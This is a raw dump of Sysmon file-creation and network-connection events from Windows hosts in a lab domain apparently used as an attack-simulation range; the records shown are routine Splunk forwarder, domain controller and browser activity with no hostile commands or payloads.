23542300x800000000000000017716Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:52.306{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D841B0F7ACA537DA328F9655C2D2FF3,SHA256=AB19771B3D50D040D66A0652F8E615BB10C673B56F39F268816F9620A9768504,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:53.622{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=35AB44720E02EB48D796459296BFA09A,SHA256=23D9AFB9AB17F3D025A27675D3467048ABB34D941234A492D8F0CA5D1C5C151A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017718Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:53.322{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8FA980DEBB7886369105C881A5A92768,SHA256=B223EBA727392EA67EAF65E8782F980B5BAE27DE48BD702584CE94F675AA293D,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:51.364{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63139-false10.0.1.12-8000- 23542300x800000000000000055107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:54.637{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BE2C35723B14FBAAD7AB60BECF6A4A3,SHA256=CDA37602A7D7522BF48BC9F8E8DF5096B6ECBDAE2093FAE1BF6F84E57567DAF0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017719Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:54.337{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1F1FF37D8EAF4ADA14B2AC1547EDB482,SHA256=42A1F76234D02750DF69F0E6E96B422C8A5D02135900B40BB6750DFAA5E26C7D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055108Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:55.638{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B202F049FE95790217DD089D71D1B757,SHA256=781377F7A7E352F80F55825B9BC781BB9BFAC0FB064E08E9B9A145C10C76C5CA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017721Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:55.353{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40179914B9FC0180891281D6E725E728,SHA256=850BC566757E7792F1FB1DEAE36C3AB36D8F3D28A1FC00D65F215B6F73F15EED,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017720Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:55.181{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055109Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:56.736{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA21D049E1217840259EBC753E4E74BB,SHA256=CDE2737F4A207F7E38E495A59484F2A426DF9F643EE1C502234F555DEB61BEC9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017722Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:56.400{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E07F73DD8D3836C4D9839B3EA9061C4A,SHA256=EF77BC65EEA0EB0A1A74E980443707C9666E29298B6266F2F207A28D3BA47207,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017724Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:57.431{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E0C23248BE0A59AC19D751DD148EC8BB,SHA256=2C0DA47EE384E9D747DE5FCB011624714856273F7C4A6AC404B0D0186A1CFCD8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055110Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:57.736{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2077C2D5768B82732E170FF5015A6D95,SHA256=297526B68DCBF2F92CDC056E4C2CE6B505AA764B8444220D80655C71C74502D9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017723Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:55.486{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50375-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000017726Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:58.493{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4E071EAF84E7B1889D7D544290A86096,SHA256=A478E2DB208F0248C364601E8E1D47273C78AC8CF6162F46BE47A24EADA4081B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055111Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:58.752{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C01CE23BB798B65F9FC782633D63E97,SHA256=3B48EAC70D1EE04FD1084FFDF119AEAE5EB656A14F6A23953ED3369C1AA2DF5C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017725Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:56.486{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50376-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017727Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:59.556{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=293E9B2CB2E7C091FDB56CA4D0F41F94,SHA256=AFC0C42DD902E3249CFA6954528348519752B93AAADED7F5A6282DF58B6E5C4F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:59.804{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6463772C2E860824F87427919AD3E0EE,SHA256=54E0B637528F881E9930EB7BD64AB51FF68AC12EF903947340FE29DE1C5B4737,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:59.467{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=56DFA5A61E937FC1B6C442120CF8E702,SHA256=4D374087B7220E0AC77E336A7B2197C03550D5EAABFD2D411C5500137048C034,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055113Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:59.467{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=079261ED6A9CE57A42CCD18161BA2D59,SHA256=086EB34F3D387B4D3D852115AFA8F3D2B3222FA8B7E109384266330DC385AE09,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000055112Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:57.359{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63141-false10.0.1.12-8000- 23542300x800000000000000055118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:00.836{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BEA6B8B1BB0837E99DD6CCA278E9C1AE,SHA256=BE5295304128529C22C46195FA59012B9AFFB971D2233C37DAABB6B81B94DB20,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017728Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:00.587{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AE3AAC2E3D3760B7F1F2B867B784C342,SHA256=16F7708D44DF8B5E0C13F553F33C02963DA28CB3B629DD27F59FCAD486CFE546,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:57.728{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63142-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000055116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:57.728{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63142-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000055119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:01.919{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1398701CA713197925F48B6C4237CF02,SHA256=F05A8D3C2C6579239B13700E9EA01EE03F7F0646326229A3E87823B5B67943D4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017729Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:01.650{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=727309805138748AAACD8B5E2DF59E20,SHA256=647F5647A85F4265FF61244EA79C8F6A8084CE8BD68CEE458B7F49237BBD1D03,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:02.920{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=39FD645CE6E4097DC2CCDAD6478E55B4,SHA256=FB8E1888FFEEDDEEB598A9326CE48FFBCA1CE2A9060DB39E4247378AC0B6524D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017731Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:02.681{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD52DACA271D3B9EE47CD5D762F51772,SHA256=1FFC1CFA358C1BF2124790FB6B05161DEBE9A93F24595F9E679ABAF0EDF14161,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017730Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:02.353{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=CF93B38BD6D57C0CE931421B5AAF6BCA,SHA256=65157956D9D12ADE688EE34CD1C427A0DCD8A1288BE389EA29201D462D9DF1F6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017732Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:03.696{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C5580C7B2839EDD651156FCC36B26876,SHA256=D516826CCC01D3130FBB32CA08780B20A81BEA6E66723B49F3B6D0B092C8225E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:03.934{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B2A6201CCEF52102C7DD6E38AADF6C3,SHA256=2D7DFA0908B6B19569F9EFA9FFABD2C7C37BEAC04E7416788A2C2680E892FEE3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:04.966{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4D285782464BDA5971E47C1E8BA2E9D4,SHA256=1AB4D39CDD0E63409AFC6AFF21443F0E8678F6AA2FC38C05250BEE1EADF4EABE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017734Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:04.696{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B44BE89E6EE8D565FE11A1C6E140E33E,SHA256=D0E473F331C10636619AFDC3ED7BD4039DFC8D06A2794CF079D5539384399B29,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017733Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:02.408{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50377-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000055124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:05.967{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=673627E493D06170035A888B19567E03,SHA256=946B0097A6F2AFBF3F0EEC09AE229A1DFD8D7723653EBCD0ACF9F3020304DFA5,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017735Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:05.712{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C27F50B24F8B620E41F5465BAAAF34E7,SHA256=131FFD2D2AD3592BFFF5AF30F76321E7412DC4CC483B0AA6AFB345F06D000945,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:03.363{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63143-false10.0.1.12-8000- 23542300x800000000000000055125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:06.985{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F7E6F62C90FEE3E0F2D5A7C56C1B7486,SHA256=EA9008905D4FE949A905F3B590CB649900C8ACAC79C1464F4F2138482FF23547,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017736Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:06.728{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4BACD33896219F43A9DE6F366879503E,SHA256=F07478D1E4724F673554187D892D79933BA95762AEB8C5724FF3E98D5FBEDF64,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017737Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:07.806{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=221E864AC1105F27F5638D32B026D398,SHA256=CBE358468AF488F7770684F4908BE399D30B57E2B8D6C8258A079D85E73682F2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017739Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:08.806{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A7BEDDE60C1C1F23E95AF3C2A998109F,SHA256=0596B21C657EDB0EDC92E6D77C2EA791B9095FCF730800BF87B14CE07A71F6A4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:08.019{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6E69604CB4252BDAE4730A3019672302,SHA256=B13EA5DEF1B9121B0572E380A6530509A75FC0027F3508EBBDEB7B4DF6C12C64,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017738Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:07.487{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50378-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017740Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:09.853{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8DBA1B64F096604EEA51A485027D2631,SHA256=10B8F5CD2B37E1E23917E9C8E8152C344AC61135583D20A620375E4AAA9ECF58,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:09.995{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-phish-proto.metadataMD5=1F6DA476306A136448D37EDE782371E3,SHA256=D41F7AB52EF48D424C42004026B00A07D18ED64237E2DF958A2C57C44EF3B349,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000055130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:09.950{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\paefi3c0.default-release\safebrowsing-updating\google4\goog-phish-proto-1.vlpsetMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000055129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:07.685{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local63144-false142.250.185.234fra16s53-in-f10.1e100.net443https 354300x800000000000000055128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:07.684{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54190- 23542300x800000000000000055127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:09.056{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90A9C6456D6A2BAA2BE938245D7AB0A0,SHA256=F5064515EAD70C07C4612FE17B126B71FC5C28556B8C0B55473D7CF8816D91A0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017741Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:06:10.884{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=22533A44817C56C6CA130302CAACA464,SHA256=E7BCAE5FCE1E2871FC349447672E8E4220D097AAA983BD23D0B702E1537E8B7D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:10.795{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000055185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:08.375{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63145-false10.0.1.12-8000- 23542300x800000000000000055184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 